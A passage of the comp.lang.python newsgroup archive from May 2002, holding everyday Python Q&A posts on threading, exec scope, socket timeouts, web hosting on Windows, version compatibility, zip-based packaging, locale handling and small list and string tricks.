Andy Robinson is about to make an announcement on c.l.py about > a project we have done together which should be extremely relevant. Please provide more details. Is a Cygwin Python sufficient regardless of library? Or, only one with a static Python library? And why? > Look for 'Snake Farm' and 'Python Business Forum'. We want to > certify Pythons as stable on a wide variety of hardware. We have > got PythonLabs support. Of course we want cygwin as one of the > platforms. I have sent your article to the person who is head > volunteer for this effort, so you will not be forgotten, even if > you are too busy to keep reading c.l.py. BTW, any message to "c.l.py" (*) with a subject containing "cygwin" will be dup'd (via procmail) into my inbox. Jason (*) Actually, python-list at python.org, python-dev@, and distutils-sig@ and similarly for the Cygwin lists but with a subject containing "python". From fperez528 at yahoo.com Wed May 8 19:47:55 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 08 May 2002 17:47:55 -0600 Subject: Comments References: Message-ID: Karl Pfl?sterer wrote: >> ... Is there a way to make emacs ignore lines that wouldn't be >> considered comments by the language when wrapping? > > I changed the value of `paragraph-start'. I did it like this: > > (add-hook 'python-mode-hook > (lambda () > (setq paragraph-start "[ \t\n\f#]"))) > > "[ \t\n\f]" is the default for this variable. > > bye > KP > THANK YOU!!!!!! I'd been hating life on this little thing for a long time (well, never intensely enough to really bother looking for a solution ;). I've used emacs for years, but I've just never bothered to learn enough on how to configure it to solve the few little quirks it still has for my taste. But this one was a fairly nagging one for me, so I _greatly_ appreciate your solution (I'm glad I stumled on this thread!) cheers, f. From cpbotha at i_triple_e.org Tue May 7 04:04:24 2002 From: cpbotha at i_triple_e.org (Charl P. Botha) Date: Tue, 7 May 2002 08:04:24 +0000 (UTC) Subject: Python and ITK? References: Message-ID: In article , akhar wrote: > Has anyone use the python wrapper for ITK (www.itk.org) ? I would like to > know how well it fares? There are no Python wrappers for ITK yet, at least last time I checked. ITK makes use of the Cable system (which was actually developed for ITK) for wrapping, but currently the only supported interpreted language is TCL. However, the plan is to add Python as well. Please see: http://public.kitware.com/Cable/HTML/Index.html -- charl p. botha http://cpbotha.net/ http://visualisation.tudelft.nl/ From erict at millfilm.co.uk Wed May 22 10:08:09 2002 From: erict at millfilm.co.uk (Eric Texier) Date: Wed, 22 May 2002 15:08:09 +0100 Subject: exec execution scope Message-ID: <3CEBA649.1E6A145E@millfilm.co.uk> 1I am sure it's a well known limitation of the "exec" command in python, but does someone knows a trick to make this work without defining the "helpFunct" in the global space and without using "rexec" since I need self to be ?visible?. Thanks class atask: ################## def __init__(self,name): self.NAME = name self.COMMNAND = """ """ def printName(self): print self.NAME def execute(self): exec(self.COMMAND) a = atask("myName") a.COMMAND = \ """\n def toto(self): for i in range(3): self.printName() print i helpFunct() def helpFunct(): print "in Other" toto(self) """ #print a.COMMAND a.execute() From cliechti at gmx.net Tue May 28 16:58:02 2002 From: cliechti at gmx.net (Chris Liechti) Date: 28 May 2002 22:58:02 +0200 Subject: threading References: Message-ID: Magnus wrote in news:hPRI8.9579$p56.2782748 at newsb.telia.net: > I have been playing with threading.Thread and I believe I got it > working. One thing though is that I would like to be able to kill the > threads nicely even if they are in run(). > > What's the best way to solve this? use a flag: class MyThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.running = 1 def run(self): while self.running: print ".", time.sleep(1) def stop(self): self.running = 0 testing: t = MyThread() t.start() time.sleep(10) t.stop() chris -- Chris From ruediger.maehl_nospam at web.de Thu May 30 08:26:54 2002 From: ruediger.maehl_nospam at web.de (Ruediger Maehl) Date: Thu, 30 May 2002 14:26:54 +0200 Subject: How to concatenate list members References: Message-ID: "Eric Brunel" wrote > Try this: > > def concat1(alist, sep=" "): > if not alist: return '' > return reduce(lambda x,y,sep=sep: x + sep + y, alist) > > The "if" is necessary because as it's written, the reduce won't work on > empty lists. > > If you like one-liners, you can also do this: > > b = (a and reduce(lambda x,y: x + "_" + y, a)) or '' > > HTH > -- > - Eric Brunel - > PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com Hello Eric, Thanks for your solution (although I don't understand it). R?diger From francois.lepoutre at seriatim.com Mon May 13 09:38:16 2002 From: francois.lepoutre at seriatim.com (François Lepoutrre) Date: Mon, 13 May 2002 14:38:16 +0100 Subject: High performance Python web-app References: <3CDE9D7B.7050408@xs4all_removethisalso.nl> Message-ID: Hi, We have the same problem here (: Running a "persistent-python" http application on a win32 platform, fast.... Python is a brilliant tool when it comes to build http production routines. On linux! There are clearly working and speedy platforms to run heavy-duty python-based http: *nix. It looks like mod_python is the current "lean thing" to accelerate http here. Our customers are win32 shops. And so far the situation on Windows is far from brilliant: 1) it looks like fastcgi is not workable there. 2) mod_python/apache 1.3 on win32 looks like the best solution but it is comparably much slower to its linux counterpart and a bit leaky. possibly win32 is the issue not mod_python. In the end, on win32 you have: - apache 1.3/mod_python (a bit leaky but workable), - apache 1.3/webware (great but not as fast and a distinct sophisticated programming style with no direct translation for mod_python-based stuff) - xitami 2.5/lrwp (very fast but unable to output binary stuff as far as we could test and possibly less secure - not apache by the way). Hope to find a solution as well. I may be wrong but i have the feeling that the python/win32 community is in need of a fast and supported solution in this area. Francis iwk wrote in message <3CDE9D7B.7050408 at xs4all_removethisalso.nl>... >Hi there, > >We've been using a custom developed html/python templating system which >runs under CGI. It was ported to mod_python one year and a half ago, but > as the system was only used for small-scale sites, in the end that >was never taken into production. Now however, a customer wants to deploy >the system on Apache 2 running on Win32 and the site is expected to >attract a rather large number of visistors on occasion. Considering the >abysmal performance of CGI apps on Windows, this poses a considerable >problem. > >My question is: are there any *stable* solutions available to enable >fast ptyhon web-apps running on Apache 2/Win32? (Mod_python only runs on >Apache 1.3 as far as I know and Mod_snake seems to have been taken off >line....) > >Regards, > >Iwan > From gcordova at hebmex.com Mon May 6 11:11:18 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Mon, 6 May 2002 10:11:18 -0500 Subject: Python vs. Perl, which is better to learn? Message-ID: > > Exactly. You can write bad code in any language. On the > > other hand, you can write really good, robust, readable, > > maintainable code in Perl. > > > > Programming is about 99% concepts and 1% syntax, if that > > much even. A poorly written Python program that can be > > easily read is still poorly written. > > Hmmm... that's a mean disservice to Perl. Or... > > "You can write really good, robusr, readable, maintainable code in > assembler." > > -gustavo > BWAAA HA HA HA HA !!! Damn, I need more coffee. :-D -gustavo pd: In case you don't see it, I'm contradicting myself by responding the way I did. From tchur at optushome.com.au Sat May 25 17:45:11 2002 From: tchur at optushome.com.au (Tim Churches) Date: Sun, 26 May 2002 07:45:11 +1000 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: <3CF005E7.15B67C43@optushome.com.au> Antaeus Feldspar wrote: > > I've seen both sides of the compatibility debate. "You're breaking my > scripts!" vs. "You're holding back the language!" and I can understand > both sides. While I do not think there is a perfect solution, I was > struck the other day by a possible way to bridge the gap. > > Could the python interpreter be equipped with a mode that would allow it > to emulate past interpreters? Thus, if someone needed access to a > script that was designed for 1.5.2, they could pass a "--1.5.2" argument > to the interpreter and have it run under 1.5.2's rules; more to the > point, if a script's author wanted to be sure that their script could > run on anything from 1.5.2 to 2.3, they could do it all with a single > interpreter, rather than have to have a separate interpreter for > checking each compatibility. > I posted this some time ago: > I sometimes use a statistics package called Stata. It has been around > for well over a decade, with major upgrades to the core language released > about every two years or so - hence there are three or four versions in > common use. In order to allow users who are still running Stata V4 > to write routines which will behave correctly in Stata V7 (bit not vice > versa), Stata has a "version" statement. If I am running Version 7, I can put > something like > "USE VERSION 4" (I don't recall the exact syntax) at the top of my > programs and the program will be executed as if it were running in Stata V4. > Hence, a user who still runs Stata V4 can put "USE VERSION 4" in every program and be > sure these will work correctly when run in all subsequent versions of Stata. > > This is the equivalent, I think, of having a "from __past__ import *" > statement in Python, or more precisely, a "from __v1.5.2__ import *" statement. > > Obviously it is impossible to retrospectively provide support for such a > statement, but if there were a "from __v2.2.2__ import *" statement, one could put > that at the beginning of every Python module one writes and be certain that the Bool > type or any other newfangled feature would not trip up one's code at any time in the > future, no matter how recent the version of Python used to execute it. Similarly a user of a > recent version could verify that their code runs OK with older versions by using such a > statement, which would of course disable all new language features and library modules, as well > as making any new language behaviour revert to the old. > > However, it may not be possible to avoid bloat in the Python core because successive > versions of Python would need to support more and more old behaviour, but if this backwards support > could be relegated to libraries, it shouldn't be too bad. Bloat in the Python core in > order to support historical behaviour would be a lot less desirable, though. > > And of course, such support for historical features and behaviour may also > result in ever increasing intervals between releases of new versions of Python, as the > developers struggle to accomodate ever more historical baggage. > > Hence I don't think that any of the above is a good idea. > > Tim C But Martin v. Loewis points out: > ...It is easy enough to install multiple > versions of the interpreter, though. Indeed it is (unlike many other languages which make having multiple versions installed a nightmare), and these days the extra disc space used by multiple installations is not a concern. So... How about a Python meta-bytecode-compiler/interpreter which examines Python source code and/or bytecode and automatically sends the code to the appropriate installed version of Python, resetting PYTHONPATH and any other aspects of the environment appropriately? Parsing the entire source and trying to infer which version of Python is appropriate would probably be too slow (and a big job to write...), so maybe an #ifdef-style directive could be put at the top of each Python script which triggers the appropriate behaviour, such as import __v1.5.2__ The module __v1.5.2__ would do nothing, but that line in the source would direct the meta-Python to use the correct version. I'm not sure how such a meta-interpreter would deal with already compiled bytecode - is there a version stamp in the bytecode? If someone wants to write such a thing, I'd be happy to help test it... Tim C From marklists at mceahern.com Thu May 9 13:31:13 2002 From: marklists at mceahern.com (Mark McEahern) Date: Thu, 9 May 2002 12:31:13 -0500 Subject: change a string conditional In-Reply-To: Message-ID: [obantec support] > I need to a piece of python code that will take a string which may or may > not begin with www and change it to lists. def fixit(s): old_prefix = "www" new_prefix = "lists" if s.startswith(old_prefix): s = s.replace(old_prefix, new_prefix, 1) return s l = ["www.whatever.com", "www.whateverwww.com"] m = [] for x in l: m.append(fixit(x)) print m Cheers, // mark From rjones at ekit-inc.com Mon May 27 22:53:16 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Tue, 28 May 2002 12:53:16 +1000 Subject: Newbie Database. In-Reply-To: References: <24d8090a.0205270854.6cadc50b@posting.google.com> Message-ID: <200205281253.16701.rjones@ekit-inc.com> On Tue, 28 May 2002 05:38, Gillou wrote: > "Corey Woodworth" a ?crit dans le message news: > 24d8090a.0205270854.6cadc50b at posting.google.com... > > > How should I save my database file for instance? I was thinking a text > > file full of strings like this perhaps: > > > > songname::artist::performer::filename:: ... ... > > You'd better use a real database engine rather than a flat formatted file. > "Many to 1", "1 to many" or (better) "many to many" relations are very > difficult to handle in a flat text file. Even in XML, it's quite hard to > handle. For the simplest of all relational (multi-column) databases in python, try: http://gadfly.sf.net/ Richard From shalehperry at attbi.com Sun May 12 12:47:58 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sun, 12 May 2002 09:47:58 -0700 (PDT) Subject: unknown locale de_DE@euro In-Reply-To: Message-ID: On 12-May-2002 Martin v. Loewis wrote: > "Sean 'Shaleh' Perry" writes: > >> > I recommend to either ignore or fix locale.getdefaultlocale; as is, it >> > is utterly broken. >> > >> > Why do you need it? If you want to obtain the locale's charset, use >> > locale.nl_langinfo(locale.CODESET) (after performing setlocale). >> >> Because many non US linux dists are now shipping with their default >> lang set to foo_FOO at euro. Which means python dies when someone uses >> it without first changing their locale. > > Was that meant as an answer to the question "why do you need > getdefaultlocale"? Then I don't understand that answer: what does the > installation procedure of Linux distributions have to do with the API > that you use in your Python application? > Sorry, I misunderstood what the subject of your "why" was. It still stands however that the locale.py needs updates to handle @ specified locales. Like them or not, they are here to stay. From lists at weissinger.org Mon May 13 20:59:37 2002 From: lists at weissinger.org (A. Keyton Weissinger) Date: Mon, 13 May 2002 20:59:37 -0400 Subject: Checking for Dependencies In-Reply-To: <20020514024649.F28033@prim.han.de> Message-ID: Hello All, Is there a "right" way to check for dependencies in a distutils? Is there some way to check programmatically? I have a project that has some dependencies and I'd like to make distribution/installation/config easier. Thank you!!! Keyton From chrisl_ak at hotmail.com Thu May 23 21:51:13 2002 From: chrisl_ak at hotmail.com (Chris) Date: Fri, 24 May 2002 01:51:13 -0000 Subject: python-friendly web hosts: buyer beware References: Message-ID: I've been using CornerHost.com for a while and the main man is a python devotee. Haven't had better service anywhere! c From wrbt at email.com Fri May 17 17:26:55 2002 From: wrbt at email.com (Larry) Date: 17 May 2002 14:26:55 -0700 Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: <2ec1bc1c.0205171326.214b20c3@posting.google.com> I edit in Pythonwin, and usually have a few shells open for interactive testing. I always have a reload() and module.function(params) I'm testing within a few doskey strokes in the shell, so it's really quick to make a change, test, view, profile, etc. From s.thuriez at laposte.net Sat May 18 05:20:17 2002 From: s.thuriez at laposte.net (sebastien) Date: 18 May 2002 02:20:17 -0700 Subject: no buffer space available error References: <83lmangql2.fsf@panacea.canonical.org> <3CE2F40E.DFB2C61B@engcorp.com> <3CE58CB2.365FCDD0@engcorp.com> Message-ID: Hi, This is the traceback (I scanned only 5 IP adresses) : ------------------------------------------------- PythonWin 2.1.1 (#20, Jul 26 2001, 11:38:51) [MSC 32 bit (Intel)] on win32. Portions Copyright 1994-2001 Mark Hammond (MarkH at ActiveState.com) - see 'Help/About PythonWin' for further copyright information. >>> question_ftp_threaded : number thread > max thread :sleeping connect : 192.168.15.1 connect : 192.168.15.2 trying to shutdown : 192.168.15.2 Unhandled exception in thread: Traceback (most recent call last): File "C:\Python21\simple_QUESTION_FTP_THREADED10.PY", line 36, in control s.shutdown(2) File "", line 1, in shutdown socket.error: (10057, 'Socket is not connected') trying to shutdown : 192.168.15.1 Unhandled exception in thread: Traceback (most recent call last): File "C:\Python21\simple_QUESTION_FTP_THREADED10.PY", line 36, in control s.shutdown(2) File "", line 1, in shutdown socket.error: (10057, 'Socket is not connected') [] [('192.168.15.2', 'The socket operation could not complete without blocking'), ('192.168.15.1', 'The socket operation could not complete without blocking')] connect : 192.168.15.3 trying to shutdown : 192.168.15.3 Unhandled exception in thread: Traceback (most recent call last): File "C:\Python21\simple_QUESTION_FTP_THREADED10.PY", line 36, in control s.shutdown(2) File "", line 1, in shutdown socket.error: (10057, 'Socket is not connected') connect : 192.168.15.4 trying to shutdown : 192.168.15.4 Unhandled exception in thread: Traceback (most recent call last): File "C:\Python21\simple_QUESTION_FTP_THREADED10.PY", line 36, in control s.shutdown(2) File "", line 1, in shutdown socket.error: (10057, 'Socket is not connected') fin ------------------------------------------------- the code is the same that on the previous examples except : def control(hostname): reponse='non' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setblocking(0) socket_active.append(hostname) print "connect : ",hostname try : s.connect((hostname,21)) except socket.error, why : debug.append((hostname,why[1])) if why[1] <> "The socket operation could not complete without blocking": print 'cannot connect...',hostname, "why = ",why[1] print "trying to shutdown : ",hostname s.shutdown(2) #s.shutdown(0) or s.shutdown(1) error10057 socket is not connected try : s.close() socket_active.remove(hostname) print "nb socket ",len(socket_active) except : not_closed.append(hostname) print "not closed ",not_closed print "problemes de s.close" return reponse if I do a netstat I can see some of the socket (but it is real slow ...) they are in stats syn_sent. ?? I do not understand why the shutdown is not operating properly ?? Is there another way to kill the socket ?? Regards. Sebastien. Peter Hansen wrote in message news:<3CE58CB2.365FCDD0 at engcorp.com>... > sebastien wrote: > > > > Is there a way in python to have the same information as in netstat. I > > could call netstat but it is a little bit slow. > > Don't think so. That's a lower level OS issue. Maybe some of the > win32 stuff can do it. > > > The shutdown method : s.shutdown(2) for example > > does not work with my socket. Is it ok to use it with non blocking > > socket ? > > What does "not work" mean? I suggest posting an exception traceback, > preferably with a tiny snippet from an interactive prompt session > showing a subset of your code failing. > > I don't think it cares about non-blocking sockets, though I could > be wrong, but I know it doesn't work with server sockets (i.e. the > ones that are listening, not the sockets for each client connection > that is accepted). > > We're past the edge of my expertise and knowledge here... sorry. > > -Peter From ianb at colorstudy.com Sun May 5 01:15:46 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 05 May 2002 00:15:46 -0500 Subject: Looking for a scripting language In-Reply-To: <3CD4A873.65F97CC3@engcorp.com> References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <3CD4A873.65F97CC3@engcorp.com> Message-ID: <1020575746.3568.41.camel@localhost> On Sat, 2002-05-04 at 22:35, Peter Hansen wrote: > Perl and Python are your only serious alternatives (from that list). > Those in this newsgroup would widely consider Python to be a > big improvement over Perl in the area of readability and maintainability. > Perl programs tend to be very difficult to read for others, or even the > original programmer, weeks or months after they are written. It's > also fairly widely considered to be inadequate for large programs, > whereas Python is highly capable in this regard. In the scope that we're looking at -- scripting languages -- I think the big plus for Python is that it's predictable (which relates to scalable and maintainable). When you write something, it will usually act like you expect it to. Perl always surprises me, and I get the impression that this does not go away even with a lot of experience. I've also been doing less and less shell scripting for this same reason -- it works most of the time, but then in some corner case it goes haywire (e.g., a space in a filename). This in turns leads to "it fits in your brain", one of the most important things Python got right (and Zope totally threw away, but that's another issue entirely). Ian From wurmy at earthlink.net Wed May 22 17:56:03 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Wed, 22 May 2002 21:56:03 GMT Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? References: Message-ID: <3CEC1506.B0DA1787@earthlink.net> David LeBlanc wrote: > > If item 6.6 in the FAQ is any indication, it's a bit out of date... That seems indeed to be the case. Or it's Guido's time machine gone awry... ;-) > I thought the reason for such built-in functions like len was from an early > point in Python's development when there where no classes? Na, AFAIK Python has always had classes, even in ancient 0.9.1, the first version posted to Usenet. I think the reason is/was, not every built-in object had methods. (Tuples, strings, numbers, etc.) This has changed in 2.2, although I don't know all the details; maybe there are still such objects. > Isn't there a move afoot to do away with most built-ins? I personally prefer > str.len() to len(str). The len() function doesn't bother me really... _some_ builtins will hopefully always exists, or we'll have to write (-3).__abs__() Besides, while Python is object-oriented, that isn't the only paradigm in the language. People coming from a functional background may find the len() function more natural than a method. YMMV, -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From kwokng at earthlink.net Fri May 10 10:20:22 2002 From: kwokng at earthlink.net (Billy Ng) Date: Fri, 10 May 2002 14:20:22 GMT Subject: Error Log Message-ID: I need to write a error log module that append the error line into a log file every time an exception is thrown. Would anybody please give me input for how to do it in pytohn, thanks! Billy Ng From gustav at morpheus.demon.co.uk Thu May 23 06:29:34 2002 From: gustav at morpheus.demon.co.uk (Paul Moore) Date: Thu, 23 May 2002 12:29:34 +0200 Subject: Add .par functionality (like Java .jar) References: <3CEBAA0E.20006@bigfoot.com> Message-ID: Johann H?chtl writes: > As SourceForge doesn't allow to add a featur erequest without beeing > logged in, i post it here: Why not log in? It's not hard... > Summary:Add .par functionality (like Java .jar) > > Detailed Description: > This feature would make people extremely happy to be > able to download a single file, double-klick (either on > windows or gnome/kde) and see what python can do for them. > > (Assuming, that a python interpreter is installed) This has come up a number of times. Most of the pieces are already in place. You can write an import hook now, to allow import from Zip files. PEP 273 formalises this and makes it part of Python, but that's all. Loading data from a zip file is a little harder, but here's a class that (mostly) works. class Resource: def __init__(self, filename): self.zip = ZipFile(filename) def __del__(self): self.zip.close() def read(self, filename): return self.zip.read(filename) def open(self, filename): return StringIO(self.zip.read(filename)) Just use as z = Resource("test.zip") Then to get the complete data from a particular file in the zip, just do data = z.read("filename") or to get a file-like object, just do f = z.open("filename"). You have problems with stuff that needs a *real* file, but there isn't much around that you can't work round one way or another... The main lack is the ability to handle compiled extensions, but you're never going to get that without OS support. Just ship the necessary .dll/.so files separately, and manipulate sys.path, if you need to. For true one-file-to-run functionality like JAR files, all you really need is to package the main driver script plus the zip file together. As zip files can have arbitrary content tacked on the front, just concatenating the script and the zip file should work. Unfortunately, the Python interpreter chokes on trailing garbage :-( You can work around *this* on Windows by embedding a CTRL-Z character (Python opens scripts in text mode, and CTRL-Z is EOF in text mode) but I don't know how to do it on Unix. So the only remaining pieces of the puzzle are: 1. Find a way of combining a driver script plus a zip file. 2. Formalise this, if you want, to come up with a "standard". There are a number of options for part 1 (custom executable with Python embedded, encode the zipfile as text and decode on the fly at script startup, etc etc). Gordon McMillan's Installer does all this, but it takes it a few steps further, by searching out dependencies, rather than relying on an installed Python interpreter. So there are ideas there, if you want to look. It would be nice to have an option in the existing Python interpreter, but I'm not sure it's needed. With PEP 273, all you need may be python -c "import sys; sys.path.insert(sys.argv[1]); import Main; Main.main()" myfile.zip Part 2 is the important one. If you really care about making this a *standard* feature, you have to persuade people to do it in the same way each time, rather than reinventing the wheel. Personally, I would like to see one-file Python applications which worked like jar files become common - it irks me that people view this as something clever that only Java can do - but I'm not motivated enough to push what is essentially a "political" issue rather than a technical one. So, in summary: You have my support, but it's not so much a feature request as an (informational) PEP describing a standardised technique. If the standard becomes popular, I can see Python growing a command line switch to simplify the process, just like Java did (executable Jars came with JDK 1.2, IIRC, but jarfile technology was there from day 1...) Hope this helps, Paul. From systhree at nospam.mailandnews.com Sat May 11 13:42:19 2002 From: systhree at nospam.mailandnews.com (Dan Polak) Date: Sat, 11 May 2002 19:42:19 +0200 Subject: timeoutsocket won't timeout Message-ID: For the life of me I can't figure out why timeoutsocket (version 1.23) will not timeout here. Any ideas? Dan #!/usr/local/bin/python import socket, timeoutsocket timeoutsocket.setDefaultSocketTimeout(1) hostname = "" print "getting hostname for " + address try: (hostname, more, ip) = socket.gethostbyaddr ('63.211.210.20') except socket.error: # lookup failed pass if hostname <> "": print hostname else: print 'no hostname found' From jb at cascade-sys.com Wed May 1 19:31:54 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 01 May 2002 16:31:54 -0700 Subject: Newbie: finding the key/index of the min/max element References: <200204301620.00255.bhan@andrew.cmu.edu> Message-ID: <3CD07AEA.B9BE2B48@cascade-sys.com> > James J. Besemer wrote: > > > > Stick with the Loop, my son. Sometimes a cigar is just a cigar. > > ... > > Then too, for small lists performance need not be a consideration. > > Alex Martelli wrote: > > Right, but efficiency generally needs _measuring_. Guesses are no good. > > [ many stats] > So, performance doesn't really matter much -- but in as much as it does, > the "noloop" approach wins hands down, taking 1/2 to 1/3 the time of > the "obvious" loop (forget the zip approach, clearly). In retrospect, it's obvious that the for loop involves lots more interpretive code, while the dreaded FP form better leverages efficient C runtime routines inside the interpreter. So some long standing coding instincts no longer apply. "Everything you know is wrong." > Since seq.index(max(seq)) is most concise, fastest, and quite clear, > I think it qualifies for "the one obvious way to do it" in this case. > Pity it doesn't work for mappings, only for sequences... I was tempted to question whether this solution also qualifies for "elegance" but I don't see how I can. The FP paradigm is pretty compelling. Your stats do seem to support my inclination to avoid creating auxilliary structures, as that solutions was by far the slowest, in some cases by several orders of magnitude. So not everything I know is wrong. Order statistics and other traditional analysis can apply so long as you only apply them at the source statement level. And we're agreed that a lot of the time performance is not a consideration. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From stephen at xemacs.org Thu May 2 15:20:29 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 03 May 2002 04:20:29 +0900 Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> Message-ID: <87bsbyl5ky.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "James" == James J Besemer writes: [Dalke] >> I wouldn't say it's strictly off limits. James> I was citing a hypothetical example, offered as a possible James> way to fullfil Alex' "wish". I suspect Andrew was also citing your hypothetical example, intending to imply that very little is "strictly" off limits. [Aside: James> Perfect. I never suggested anything so rude as "RTFM". I've never considered "RTFM" rude when people say it to me, although I only use it in contexts where I know the other party won't take offense any more. I'll grant that a good RTFM HOWTO is needed. And of course FAQ technology has improved a lot, so citing FAQs is now quite easy, and more constructive than a curt RTFM.] James> People seem to attach a negative connotation to what I say James> no matter how neutral I try to be. I appreciate that some James> of this is my own fault but I'll be glad when you all can James> take my words at face value. This is Usenet. But note that you wrote of "dealing with [people]". While it's not absolutely clearcut, in context I got a strong sense of "people as objects" from that phrasing. Alex wrote in the first person, he was looking for a way to "deal with" his own annoyance. This is why Alex could post what he did without anybody commenting, while your phrase drew negative comment. I think about it that way, anyway. To see the contrast really clearly, it's useful to compare Eric Raymond's Smart Questions FAQ http://tuxedo.org/~esr/faqs/smart-questions.html with Simon Tatham's How to Report Bugs Effectively http://www.chiark.greenend.org.uk/~sgtatham/bugs.html. Note how Eric somehow can't keep himself from using phrases that imply that there are lusers and sponges lurking about, quite possibly including the reader, while Simon is much more humble, saying in a very neutral way "these things need to be communicated, and here's how to do it." Somehow Simon manages to convey both the idea that reporting bugs effectively is a difficult task indeed, and his confidence that you (the reader) are up to the task. I think people are responding to your words at "face value" (ie, they would respond the same way if the BDFL or someone unknown to the group used them, it's not personal). James> If the group consensus here is "don't compare python to James> Lisp" or "don't ever bring up ternary ops" (as some have James> said) then it WOULD save time to list the topics as a taboo James> on a list-specific faq. Meanwhile, this would strike me as James> NOT appropriate for the regular faq. James> What you think? I think the group consensus is hard to characterize in so few words. Definitely some people would rather not hear any comparison of python to Lisp, or discussion of ternary ops. So? This is _your_ newsgroup just as much as it is theirs. (With all due respect to the enormous contribution that some of the "they" have made, even within the last few days.) As you point out, you may not get full understanding from the FAQ, and it's possible to have legitimate disagreements with the FAQ answers (and even possible to disagree with the BDFL and ultimately win!) And vice versa. The topics aren't taboo, but some people will express the opinion that they heard this before and don't want to hear it again ("and won't you RTDF first so you know what's old news?") It's their newsgroup as much as it is yours! [Dalke] >> What I've noticed in at least some of your posts is the >> tendency to assert an authority which is false-to-fact. James> Please let me respectfully disagree just a bit here. James> JB [== James] Wrote: >> It seems that Python started out (as a Lisp derivative) with >> much less of an OO emphasis. I expect len() has precedent >> dating back to the original language. James> So first off, the whole statement was my humble OPINION James> ("seems") never intended to be a statement of fact. James> Furthermore, my error is in a parenthetical, not part of James> the main point. Ah, but this is a standard trope. You put the assertion of fact in parens, and many readers will accept the premise "Python is a Lisp derivative." You may not have intended that effect, but the effect is well-known. [Suzette Haden Elgin's "Verbal Self-Defense" series is an excellent resource here.] >> There appears to be some antagonism in responses to your recent >> posts. I submit that at least part of it comes from this >> tendency. James> It seems really inconsistent that on a list that ostensibly James> is supposed to be so supportive to newcomers that I would James> get blasted so for such relatively minor errors (or things James> that are not errors at all). It's supportive to newbies, not newcomers. Newcomers who can take care of themselves are expected to shape up. (Check out any of my interactions wrt to licensing/definition of free software, with me in the newcomer role.) And you were "blasted" by one person (NB, who immediately and explicitly acknowledged and accepted your apology, as well as your mince-resistance); followups have been civil and either explicitly first-person ("when you wrote X I felt Y") or fairly neutral about what they think the typical interpretation of your words and phrasing would be. (I'm not referring to the technical controversy, where several people have been quite sharp. I'm assuming that that doesn't bother you since no apparent double standard is involved.) In my reading (YMMV) they occasionally misinterpret intent or face value of your words (and sometimes both), but these are "honest mis-takes", not implausible, and not personal attacks. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From pyth at devel.trillke.net Thu May 16 20:31:10 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 17 May 2002 02:31:10 +0200 Subject: how to determine an 'open' string? In-Reply-To: <20020517110640.54ed274d.larooy@xtar.co.nz>; from larooy@xtar.co.nz.trillke.net on Fri, May 17, 2002 at 11:06:40AM +1200 References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> <20020517090025.04369a30.larooy@xtar.co.nz> <20020516232456.P28033@prim.han.de> <20020517110640.54ed274d.larooy@xtar.co.nz> Message-ID: <20020517023110.A23086@prim.han.de> John La Rooy wrote: > bugger ;o) > we both lose :/ > >>> open_quote('"a"""') > '"' > > that should be closed, right? or am i misunderstanding the question? no you are not. it should be closed. i have a fix below. > if should return anything that *isn't* quoted like > > q('A"quoted bit"B') --> 'AB' i don't need this variation currently. > might need more examples of return values, because "the way python treats quotes" > doesn't define that for you It does. Just enter a string at the interactive prompt and hit return: if python prints the 'continuation prompt', you are inside a string. Note that you can enter e.g. "" "" '' "" """""" """ because python automatically concatenates these strings (no plus needed). So here is the fixed version together with some test cases: def open_quote(text, rex=re.compile('"""|\'\'\'|"|\'')): """ return the open quote at the end of text. if all string-quotes are matched, return the empty string. thanks to Harvey Thomas&John La Roy. """ rfunc = lambda x,y: x=='' and y or not y.startswith(x) and x or '' quotes = rex.findall(text) return quotes and reduce(rfunc,quotes) or '' assert(open_quote(r'''a''')=='') assert(open_quote(r'''"''')=='"') assert(open_quote(r'''\'''')=="'") assert(open_quote(r'''"a"""''')=='') assert(open_quote(r'''"""a"''')=='"""') assert(open_quote(r'''"""a""""''')=='"') assert(open_quote(r'''"""a""""''')=='"') assert(open_quote(r'''"a"b"a"''')=='') assert(open_quote(r'''"""''""''"""''')=='') assert(open_quote(r'''"""''""''"''')=='"""') assert(open_quote(r'''r"""\"\"\"ad"""''')=='') assert(open_quote(r'''r""\"ad"""''')=='') assert(open_quote(r'''r""\""ad"""''')=='"""') assert('''good night''') holger From g893404 at oz.nthu.edu.tw Mon May 13 16:40:34 2002 From: g893404 at oz.nthu.edu.tw (Joshua, Y.J. Lai) Date: Tue, 14 May 2002 04:40:34 +0800 Subject: How to solve diophantine problems? Message-ID: Dear everyone: I can roughly solve the diophantine problem by using a nest loop ex. def td(x): "The number of balls used to construct a tetrahedron" return x*(x+1)*(x+2)/6 def tri(y): "The number of balls used to construct a triangle" return y*(y+1)/2 for x in xrange(100): for y in xrange(100): a=td(x) b=tri(y) if a==b!=0: print "x = %d and y = %d , number = %d" % (x,y,a) ---------------------------------------------------------------------------- ------- But if I want to limit the maximum 